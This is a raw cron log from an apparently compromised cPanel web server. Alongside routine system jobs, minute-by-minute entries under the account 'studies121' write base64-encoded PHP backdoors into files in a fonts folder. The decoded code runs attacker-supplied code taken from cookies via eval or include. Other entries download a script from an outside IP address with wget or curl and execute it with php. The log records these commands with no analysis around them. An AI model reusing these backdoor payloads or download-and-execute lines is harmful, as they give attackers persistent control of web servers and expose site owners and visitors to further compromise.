Aug 31 02:00:01 ip-184-168-122-23 CROND[9324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:00:01 ip-184-168-122-23 CROND[9325]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:00:01 ip-184-168-122-23 CROND[9326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:00:01 ip-184-168-122-23 CROND[9329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:00:01 ip-184-168-122-23 CROND[9330]: (root) CMD (/usr/local/cpanel/bin/backup)
Aug 31 02:00:01 ip-184-168-122-23 CROND[9334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:00:01 ip-184-168-122-23 CROND[9335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:00:01 ip-184-168-122-23 CROND[9332]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 02:00:02 ip-184-168-122-23 CROND[9338]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:00:02 ip-184-168-122-23 CROND[9339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:01:01 ip-184-168-122-23 CROND[9443]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 02:01:01 ip-184-168-122-23 CROND[9444]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9443]: starting 0anacron
Aug 31 02:01:01 ip-184-168-122-23 CROND[9453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:01:01 ip-184-168-122-23 CROND[9452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:01:01 ip-184-168-122-23 CROND[9456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:01:01 ip-184-168-122-23 CROND[9454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:01:01 ip-184-168-122-23 anacron[9461]: Anacron started on 2026-08-31
Aug 31 02:01:01 ip-184-168-122-23 anacron[9461]: Normal exit (0 jobs run)
Aug 31 02:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9466]: finished 0anacron
Aug 31 02:02:01 ip-184-168-122-23 CROND[9549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:02:01 ip-184-168-122-23 CROND[9550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:02:01 ip-184-168-122-23 CROND[9553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:02:01 ip-184-168-122-23 CROND[9554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:02:01 ip-184-168-122-23 CROND[9556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:03:01 ip-184-168-122-23 CROND[9651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:03:01 ip-184-168-122-23 CROND[9653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:03:01 ip-184-168-122-23 CROND[9655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:03:01 ip-184-168-122-23 CROND[9652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:04:01 ip-184-168-122-23 CROND[9739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:04:01 ip-184-168-122-23 CROND[9741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:04:01 ip-184-168-122-23 CROND[9742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:04:01 ip-184-168-122-23 CROND[9744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:04:01 ip-184-168-122-23 CROND[9745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:05:01 ip-184-168-122-23 CROND[9904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:05:01 ip-184-168-122-23 CROND[9905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:05:01 ip-184-168-122-23 CROND[9907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:05:01 ip-184-168-122-23 CROND[9909]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 02:05:01 ip-184-168-122-23 CROND[9910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:05:01 ip-184-168-122-23 CROND[9912]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:05:01 ip-184-168-122-23 CROND[9914]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:06:01 ip-184-168-122-23 CROND[10099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:06:01 ip-184-168-122-23 CROND[10101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:06:01 ip-184-168-122-23 CROND[10102]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:06:01 ip-184-168-122-23 CROND[10104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:06:01 ip-184-168-122-23 CROND[10103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:07:01 ip-184-168-122-23 CROND[10193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:07:01 ip-184-168-122-23 CROND[10196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:07:01 ip-184-168-122-23 CROND[10195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:07:01 ip-184-168-122-23 CROND[10197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:08:01 ip-184-168-122-23 CROND[10299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:08:01 ip-184-168-122-23 CROND[10301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:08:01 ip-184-168-122-23 CROND[10302]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:08:01 ip-184-168-122-23 CROND[10303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:08:01 ip-184-168-122-23 CROND[10304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:09:01 ip-184-168-122-23 CROND[10425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:09:01 ip-184-168-122-23 CROND[10428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:09:01 ip-184-168-122-23 CROND[10430]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 02:09:01 ip-184-168-122-23 CROND[10427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:09:01 ip-184-168-122-23 CROND[10429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:10:01 ip-184-168-122-23 CROND[10532]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 02:10:01 ip-184-168-122-23 CROND[10534]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 02:10:01 ip-184-168-122-23 CROND[10538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 02:10:01 ip-184-168-122-23 CROND[10539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 02:10:01 ip-184-168-122-23 CROND[10543]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 02:10:01 ip-184-168-122-23 CROND[10544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 02:10:01 ip-184-168-122-23 CROND[10545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 02:10:01 ip-184-168-122-23 CROND[10546]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 02:11:01 ip-184-168-122-23 CROND[10638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
